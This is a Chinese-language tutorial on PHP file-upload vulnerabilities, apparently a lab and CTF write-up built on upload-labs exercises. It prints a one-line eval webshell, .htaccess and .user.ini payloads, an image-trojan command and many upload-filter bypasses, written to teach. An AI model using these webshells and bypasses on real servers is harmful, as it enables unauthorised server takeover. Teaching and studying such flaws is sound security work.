在 PHP 语言下的文件上传漏洞
文件上传
webshell
认识 WebShell
webshell 概念
Webshell 是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,以 aspx、php、jsp 等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
常见的后端开发语言主要有 Java、.net、php,而 WebShell 就是 jsp、aspx、php等网页文件形式存在的一种命令、代码执行环境,也可以将其称做为一种网页木马后门。
黑客在入侵了一个网站后,通常会将 jsp、aspx 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在一起。然后就可以使用浏览 器来访问后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。
优点
可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过 http/https 协议(默认 80、443 端口)传递的,因此不会被防火墙拦截。
使用 WebShell 一般不会在系统日志中留下记录,只会在网站的 web 日志(比如 apache 的 access.log)中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
分类
WebShell 根据编程语言可以分为 php 木马、aspx 木马和 jsp 木马(跟随时代和技术的发展,现在也用 python 编写的脚本木马)。
按照文件大小和功能可以分为3种:大马,小马,一句话木马,具体使用场景和特点如下图:
一句话木马
代码简短,通常只有一行代码,使用方便。
比如 PHP 木马:
echo(123); @eval($_GET['cmd']); |
其中 GET、POST 表示客户端向服务端传递参数的两种种方式,一句话木马用 $_GET[' ']
或者$_POST[' ']
接收攻击者传递的数据,并把接收的数据传递给一句话木马中执行命令的函数(eval()
,assert()
等),进而执行命令。
echo(123);
是用来检测木马是否成功运行。
当将 @
放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
eval()
就是执行命令的函数,$_POST[' ']
就是接收的数据,eval()
函数把接收的数据当作 PHP 代码来执行。这样攻击者就能够让插入了一句话木马的网站执行传递过去的任意 PHP 语句,包括系统命令。
比如:
cmd = cat('/flag') |
小马
只包含文件上传功能,体积小的木马。
比如上传任意文件的木马:
|
大马
体积大,包含很多功能,代码通常会进行加密隐藏,一般需要连接密码。
认识文件上传
文件上传
就是将客户端的文件上传到服务器的过程。
比如 QQ 空间发表说说上传的图片、招聘网上传简历、将文件上传到网盘等,这些都是文件上传。
文件上传漏洞
上传文件的时候,如果服务器端、后端未对上传的文件进行严格的验证和过滤,就可能造成上传恶意文件的情况,造成文件上传漏洞。
常见场景是 web 服务器允许用户上传图片或者普通文本文件保存,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。
这个恶意的代码文件( php、asp、aspx、jsp 等)就是 webshell。
危害:攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。
条件:
能上传 webshell
webshell 路径可知
webshell 可以被访问
webshell 可以被解析
PHP 实现文件上传的代码基础
以 upload-labs Pass-01 的关键源码为例
|
首先引入了两个文件
config.php
和head.php
、menu.php
。这些文件包含了一些全局配置和页面模板。初始化了两个变量
$is_upload
和$msg
。$is_upload
用于标记文件是否上传成功,$msg
用于存储错误信息。当用户提交表单(
isset($_POST['submit'])
)时,开始进行文件上传的处理。首先检查
UPLOAD_PATH
是否存在。UPLOAD_PATH
是一个常量,它表示文件上传的目录路径。这个常量通常在config.php
文件中定义。如果不存在,则将错误信息存储到
$msg
变量中。该常量同时在下一步构建上传文件的目标路径。上传文件会被保存到
UPLOAD_PATH
指定的目录中,文件名为上传文件的原始文件名。如果
UPLOAD_PATH
存在,则获取上传文件的临时路径($_FILES['upload_file']['tmp_name']
)和目标路径(UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
)。当用户通过表单上传文件时,PHP 会将文件暂时存储在服务器的临时目录中,并将相关信息存储在
$_FILES
超级全局变量中。$_FILES
变量是一个二维数组,其中包含了上传文件的各种信息,如文件名、文件类型、文件大小等。$_FILES['upload_file']['tmp_name']
就是其中的一个元素,它存储了上传文件的临时存储路径。这个临时路径是 PHP 自动生成的,用于在将文件移动到最终存储位置之前保存文件。其中
'upload_file'
就是表单中<input class="input_file" type="file" name="upload_file"/>
中的name
属性值。而
'tmp_name'
就是$_FILES
数组中的一个键,用于表示上传文件的临时存储路径。使用
$_FILES['upload_file']['tmp_name']
来获取上传文件的临时路径,然后将其移动到UPLOAD_PATH
指定的目录中,完成文件的上传过程。'name'
是$_FILES
数组中的另一个键,对应的是上传文件的原始文件名。$_FILES['upload_file']['name']
就是用于获取上传文件的原始文件名。这个文件名是用户在本地计算机上选择的文件名,在上传到服务器时保留了下来。这里是
$_FILES
中的那些参数:$_FILES 这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile'] 是你表单上传的文件信息数组,upfile 是文件上传字段,在上传时由服务器根据上传字段设定
$_FILES['upfile'] 包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称
$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如 "image/gif"
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名
$_FILES['upfile']['error'] 和该文件上传相关的错误代码使用
move_uploaded_file()
函数将临时文件移动到目标路径。如果移动成功,则将$is_upload
设置为true
,否则将错误信息存储到$msg
变量中。
文件检测机制与绕过方式
大多数网站都存在文件检测机制,不会允许任意文件上传。常见的文件检测方式有:
文件头检测
一般来说,给 webshell 添加文件头就可以绕过
文件头可以将文件拖入 010 editor 后看到
GIF : GIF89a |
客户端检测
客户端检测一般是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。
判断方式:在浏览加载文件,点击上传按钮时便弹出对话框,内容如:只允许上传 .jpg / .jpeg / .png 后缀名的文件,而此时并没有发送数据包。
实例:
upload-labs Pass-01:
<script type="text/javascript"> |
这段 JavaScript 代码定义了 checkFile 函数
var file = document.getElementsByName('upload_file')[0].value;
获取表单中
<input type="file" name="upload_file">
元素的值,也就是用户选择的文件路径。document.getElementsByName('upload_file')
这个方法用于根据元素的name
属性获取匹配的元素集合。它会获取所有name
属性为'upload_file'
的<input>
元素。所以返回的是一个 HTML 集合,此时需要通过索引来访问具体的元素。[0]
表示获取集合中的第一个元素。.value
这个属性用于获取表单控件的值。对于<input type="file">
元素来说,它就是文件路径。if (file == null || file == "")
这个条件判断用于检查用户是否选择了文件。如果
file
变量为null
或空字符串""
,说明用户没有上传文件。如果条件成立,则弹出警告框提示用户上传文件,并返回false
阻止表单提交。var allow_ext = ".jpg|.png|.gif";
定义了允许上传的文件类型,包括
.jpg
、.png
和.gif
。var ext_name = file.substring(file.lastIndexOf("."));
提取上传文件的扩展名。
lastIndexOf(".")
提取 file 变量中.
首次出现的位置(返回一个数字)使用
substring()
方法从文件路径中获取最后一个点.
之后的部分,即文件的扩展名。if (allow_ext.indexOf(ext_name) == -1)
这个条件判断用于检查上传文件的扩展名是否在允许的扩展名列表中。如果
allow_ext
字符串中不包含ext_name
(此时 indexof 方法返回 -1),说明文件类型不被允许上传。如果条件成立,则弹出警告框提示用户上传正确的文件类型,并返回
false
阻止表单提交。
那么最简单的方法就是前端禁用 JavaScript
以 Google 浏览器为例:
访问:chrome://settings/content/javascript
webshell.php
echo(123); @eval($_POST['cmd']); |
上传成功
访问图片地址 http://127.0.0.1/uploadlabs/upload/webshell.php (右键点击图片会显示)
有回显 123 说明 webshell 被成功解析!此时可以用 POST 方法进行命令执行:
或者可以连接蚁剑:
连接密码为 $_POST
中的参数
服务端检测
服务端检测就是网站对用户上传的文件的检测代码放置在服务器里,当用户上传的文件通过了检测才会被允许保存在服务器里。
MIME 类型检测
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准,用来表示文档、文件或字节流的性质和格式。简单来说就是用来表示我们提交的数据的类型。
检测方式:通过检查 http
包的 Content-Type
字段中的值来判断上传文件是否合法。
一般采取白名单的方式来进行检测,如只能上传图像文件的话就 Content-Type
头就必须为 image/jpeg
或 image/png
或 image/gif
。
在 http
数据包中在 Content-Type
字段常见值有:
文本:text/plain、text/html、text/css、text/javascript、text/xml |
绕过:一般来说网站的上传点是允许上传图片的,所以可以利用 BurpSuite
截取并修改数据包中的 Content-Type
字段的值为图片类型的值从而进行绕过。
实例:
upload-labs Pass-02:
|
直接来看关键代码:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) |
$_FILES['upload_file']['type']
:文件的 MIME 类型,需要浏览器提供该信息的支持,例如 image/gif
。
那么我们对应的就要改 MIME 类型为 jpg 、 png 和 gif
其实直接传 jpg 、 png 和 gif 文件马然后把后缀该为 php 就可以了…
文件后缀检测
黑名单检测
一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些非法的字符或者字符串,当数据包中含有符合该列表的字符串时,即认定该数据包是非法的。
如何确认是否是黑名单检测
黑名单是有限的,可以随意构造一个文件后缀,如果可以上传,则说明是黑名单检测。
绕过方式
后缀双写绕过:
有些代码中,会将文件后缀符合黑名单列表的字符串替换为空,比如将 php 替换为空,这时可以将木马命名为 webshell.pphphp,这样上传后的文件名为 webshell.php。具体命名根据文件类型和替换规则确定。
实例:
upload-labs Pass-11:
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}关键代码:
$file_name = str_ireplace($deny_ext,"", $file_name);
会将
$file_name
中匹配到$deny_ext
的字符替换为空,并且该函数不区分大小写。由于该函数进行逐一查找时并不会去检查已经被查找、替换后的字符串拼接未被查找、替换后字符串是否符合替换标准,所以我们可用
webshell.pphphp
绕过。后缀大小写绕过(适用于 windows 系统):
可以上传后缀为大写字母的文件,利用 windows 对大小写不敏感,来访问和执行木马。
upload-labs Pass-05:
缺少了如下代码:
$file_ext = strtolower($file_ext); // 转换为小写
那么将后缀部分或全部大写都可以实现绕过:webshell.pHp、webshell.PHP …
空格绕过:
如果没有进行去空格处理,可以在后缀之后加空格
.php
绕过。实例:
upload-labs Pass-07:
缺少了如下代码:
$file_ext = trim($file_ext); // 首尾去空
点绕过:
如果没有进行去点( . )处理,可以在后缀之后加点( .php. ),利用 windows 的特点, 会自动去点后缀名最后的点,进行绕过。
实例 1:
upload-labs Pass-05:
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}问题代码:
$file_name = deldot($file_name);
delot
从字符串的尾部开始,从后向前删除点.
,直到该字符串的末尾字符不是.
为止。问题就在结束的位置的判断,如果我们上传的文件后缀名为
php. .
那么经过代码删除后的后缀为.php.
,从而成功上传。成功上传的文件后缀
.php.
也会被自动删除点.
和空格.php
,被成功解析和执行。注意:由于
delot
判断机制,在后缀保证两点一空格的前提下怎么加点和加空格都可以,比如:.php. . . . .
连接蚁剑的话直接填上传的源地址就行,不用修改。
实例 2:
upload-labs Pass-06:
缺少了如下代码:
$file_name = deldot($file_name); // 删除文件名末尾的点
直接用实例 1 的 payload 就行了
::$DATA
绕过:
如果没有对后缀名进行去::$DATA
处理,利用 windows 特点(window 对于文件和文件名的限制,以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除),可以忽略::$DATA
,直接访问前面的文件名。如果文件名+
::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名。实例:
upload-labs Pass-09:
缺少了如下代码:
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
那就上传
webshell.php::$DATA
注意:访问上传后的文件路径时要将后缀
::$DATA
删去其它可解析后缀绕过:
前提是 apache 的 httpd.conf 中有如下配置代码:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
可解析后缀:
PHP:php2、php3、php5、phtml、pht
ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf(注意:能成功上传不一定意味着该文件类型能被成功解析)
实例:
upload-labs Pass-03:
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']); // 移除字符串两侧的空白字符或其他预定义字符
$file_name = deldot($file_name); // 从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止
$file_ext = strrchr($file_name, '.'); // 搜索 . 在字符串中的位置,并返回从该位置到字符串结尾的所有字符
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 移除字符串两侧的空白字符或其他预定义字符
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 最终的上传路径随机,一部分与目前时间有关,另一部分是随机数
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}用黑名单不允许上传
.asp
、.aspx
、.php
、.jsp
后缀的文件直接传 webshell.phtml 的木马,再访问上传后图片的地址:
图片 + 配置文件绕过:
.htaccess
文件,是 apache 服务器的一个配置文件,全称是 Hypertext Access(超文本入口),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。.htaccess
文件可以修改 apache 的配置,但仅作用于当前目录。.htaccess
文件内容:<FilesMatch "webshell.png">
setHandler application/x-httpd-php
</FilesMatch>通过一个
.htaccess
文件调用 php 的解析器去解析一个文件名中只要包含 “webshell.png” 这个字符串的任意文件。所以无论文件名是什么样子,只要包含 “webshell.png” 这个字符串,都可以被以 php 的方式来解析。一个自定的.htaccess
文件就可以以各种各样的方式去绕过很多上传验证机制。在测试时,可以首先上传这个.htaccess
文件,再上传webshell.png
文件。上面是匹配单个文件,其实,
.htaccess
还可以匹配一类文件:Sethandler application/x-httpd-php // 将该目录和子目录吓得文件都按照 php 代码解析执行
AddType application/x-httpd-php .xx // 将 .xx 类文件按照 php 代码解析执行
AddHandler php5-script .xx // 将 .xx类文件按照 php 代码解析执行实例:
upload-labs Pass-04:
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}关键代码:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
基本上把除了
.htaccess
文件之外的都枚举了一遍就按照上面写的,先上传
.htaccess
文件,再上传 webshell .png注意一个小细节:访问的图片地址不用改后缀:
蚁剑也是如此:
ini
配置文件,常用于 nginx 服务器:PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件,这样可以在每个目录下单独设置 PHP 的配置信息,而不必依赖全局的 php.ini 文件。这个功能只会被 CGI/FastCGI SAPI 处理。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有
PHP_INI_PERDIR
和PHP_INI_USER
模式的 INI 设置可被识别。除了PHP_INI_PERDIR
和PHP_INI_USER
模式的指令外,也可以使用PHP_INI_SYSTEM
模式的指令。这些指令会在整个系统范围内生效。用户可以通过两个新的 INI 指令
user_ini.filename
和user_ini.cache_ttl
来控制用户 INI 文件的使用。其中,
user_ini.filename
设定了 PHP 会在每个目录下搜寻的文件名,如果设定为空字符串则 PHP 不会搜寻,默认值是.user.ini
。user_ini.cache_ttl
控制着重新读取用户 INI 文件的间隔时间,默认是 300 秒(5 分钟)。需要注意的是,这个功能并不适用于 CLI 模式下的 PHP。
在使用基于目录的 INI 文件时,需要注意性能问题。如果目录层级较深,或者
user_ini.cache_ttl
设置的时间过短,可能会导致频繁的文件读取,影响性能。可以根据实际情况进行调整。下面是对 .user.ini 的举例:
auto_prepend_file=webshell.gif #先包含 webshell
auto_append_file=webshell.gif #先访问文件,再包含 webshelauto_prepend_file=webshell.gif
- 在每个 PHP 脚本执行前自动包含一个名为
webshell.gif
的文件。 - 当 PHP 脚本执行时,
webshell.gif
的文件里面的恶意脚本也会被执行。
auto_append_file=webshell.gif
- 这会在每个 PHP 脚本执行后自动包含
webshell.gif
文件。 - 这意味着即使原始 PHP 脚本没有问题,最终执行的代码也会执行
webshell.gif
的文件里面的恶意脚本。
实例:
[SUCTF 2019]CheckIn
[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[SUCTF 2019]CheckIn)
构造 .user.ini 文件:
auto_prepend_file=webshell.gif
由于有文件头检测。所以要加上 GIF89a 绕过:
GIF89a
auto_prepend_file=webshell.gif上传成功:
由于有文件内容检测,webshell.gif 的内容为:
GIF89A
<script language="php">
echo(123); @eval($_POST['cmd']);
</script>上传成功:
连接蚁剑:
成功连接:
得到 flag- 在每个 PHP 脚本执行前自动包含一个名为
白名单检测
白名单:一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些合法的字符或者字符串,如果数据包中的文件后缀不符合白名单,就不允许上传。
如何确认是否是白名单检测
上传一张图片与一个自己构造的后缀,如果只能上传图片,不能上传其它后缀文件,说明是白名单检测。
前提
php:php < 5.3.29 且 php.ini 文件中 magic_quotes_gpc=off
magic_quotes_gpc
可在 phpstudy –> 其他选项菜单 –> PHP 扩展及设置 –> 参数开关设置中关闭。
java:jdk < JDK1.7.0_40
绕过方式
get 0x00 截断:
00 截断是操作系统层的漏洞,由于操作系统是 C 语言或汇编语言编写的,这两种语言在定义字符串时,都是以 \0(即 0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到 \0 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入 \0 字符的方式,达到字符串截断的目的。
0x 表示 16 进制,URL 中 %00 解码成 16 进制就是 0x00 。
实例:
upload-labs Pass-12:
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
中的
save_path
可控
最终我们得到的地址为:http://127.0.0.1/uploadlabs/upload/webshell.php%EF%BF%BD/7020240508101859.png
由于存在截断,所以实际上解析到的地址是:
http://127.0.0.1/uploadlabs/upload/webshell.php
post 0x00 截断:
实例:
upload-labs Pass-13:
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}注意:
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
中的
save_path
可控但和 GET 对比,需要多做一次解码的工作
GET 型提交的内容会被自动进行 URL 解码,在 POST 请求中,%00 不会被自动解码。
抓包后找到 save_path ,更改值
注:编号后字符变为不可见
数组拼接
实例:
upload-labs Pass-21:
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
// mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
// check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}explode()
函数被用来分割文件名:$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);这里首先判断是否有
save_name
表单字段提交,如果没有则使用$_FILES['upload_file']['name']
作为文件名。然后使用explode()
函数按照.
符号将文件名分割成一个数组。最后使用end()
函数获取数组中最后一个元素,即文件扩展名。end()
函数将数组内部指针指向最后一个元素,并返回该元素的值,所以这个函数可以接受数组的。reset()
函数将内部指针指向数组中的第一个元素,并输出,所以这个函数也可以接受数组的。count()
统计数组有多少个元素最最关键的一点是:
$_POST['save_name']
可控,那么就可以从这一点入手:用 post 方法传入如下两个参数:
save_name[0]= upload-20.php
save_name[2]= jpg经过
$file_name = reset($file) . '.' . $file[count($file) - 1];
拼接后的名字为:
upload-20.php + "." + save_name[1]的数据
由于
save_name[1]
为 NULL ,结果为upload-20.php.
那么就回到黑名单中的点绕过了
注意:抓包后只有一个 post 上传数据,所以图中选中的数据是复制上面的 post 数据并加以更改
文件内容检测
php 标签检测
检测并过滤上传文件中包含的 <?php
内容。
php 标签的 4 种写法:
|
正常写法,可能会被过滤,这时就要采用后面的3种写法。
|
短标签写法,<?=
就相当于<?php echo
;如果配置文件 php.ini 中 short_open_tag = On
,则可以用<?
代替<?php
。
<script language='php'> |
适用于 php7 以前的版本。
<% |
需要通过 php.ini 配置文件中的指令asp_tags=On
打开后才可用。
文件幻数检测
文件幻数(magic number),它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。
绕过方式(制作图片马):
查看帮助:
python generate.py -h |
制作图片马:
python generate.py -m php -o png.php |
基本使用方式:
usage: generate.py [-h] [-q] -m {xss,php} [-r REMOTE_DOMAIN] -o OUTPUT_IMAGE [-u UPDATE] [-p PAYLOAD] [-t THREADS] |
也可以通过命令制作简单的图片马,看下面例子
实例:
upload-labs Pass-13:
该代码会验证上传内容,确认是图片格式,所以不能简单把 php 转化为 jpg,此时就需要使用图片木马
我们的做法是在正常图片里面加入恶意代码
执行以下命令:
copy image.png /b + webshell.php /a webshell.png |
成功上传!点击 文件包含漏洞,进入文件包含页面:
|
以 get 方式传入上传的图片木马,使其文件包含
二次渲染
就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到特殊的数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
绕过方式:
先上传一张图片,再重新将图片下载下来做比较,然后在相同的地方插入 webshell,然后重新上传,配合文件包含漏洞执行 webshell。
实例:
0xGame 2023 WEB [Week 2] ez_upload
先上传一张 gif 图片( gif 二次渲染最方便)
访问后将上传的文件下载到桌面
将两张图片用 010 Editor 打开,蓝色部分为二次渲染前后不变的部分,我们要将 shell 替换同数量的字符(尽量将 shell 写在图片中间)
打开 Burp Suite 抓包,将文件后缀改为 php,那么就会执行 shell
访问传入的 shell,发现执行成功
最终连蚁剑得 flag
其他绕过方式
竞争上传
实例:
upload-labs Pass-18:
|
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是 jpg、png、gif 中的一种,就将文件进行重命名。如果不符合的话,unlink()
函数就会删除该文件。
直接上传一句话木马的话,上传上去就被删除了,我还怎么去访问啊?
不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用 burp 多线程发包,然后不断在浏览器访问我们的 webshell,会有一瞬间的访问成功。
我是这么想的:在浏览器访问我们的 webshell 实际上是发送数据包,而上传文件也是发送数据包,那么我们就可以设置两个爆破来自动化进行条件竞争
payload 改为 NULL payload
回显 123,说明文件被成功解析!接下来想连蚁剑连蚁剑,想直接命令执行就命令执行
解析漏洞
实例:
upload-labs Pass-19:
myupload.php
这代码一看就是白名单,只允许上传这里面的文件,所以不能传 php 等文件
index.php
|
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to; |
文件上传之后又对其进行了重命名,不能使用文件包含的漏洞。
结合 apache 的解析漏洞,考虑 apache 未知扩展名解析漏洞:不管最后后缀为什么,只要是 .php.*
结尾,就会被 Apache 服务器解析成 php 文件!
这里是先移动文件,再修改文件名,所以存在利用条件竞争
直接把上面的 payload 改改就行了: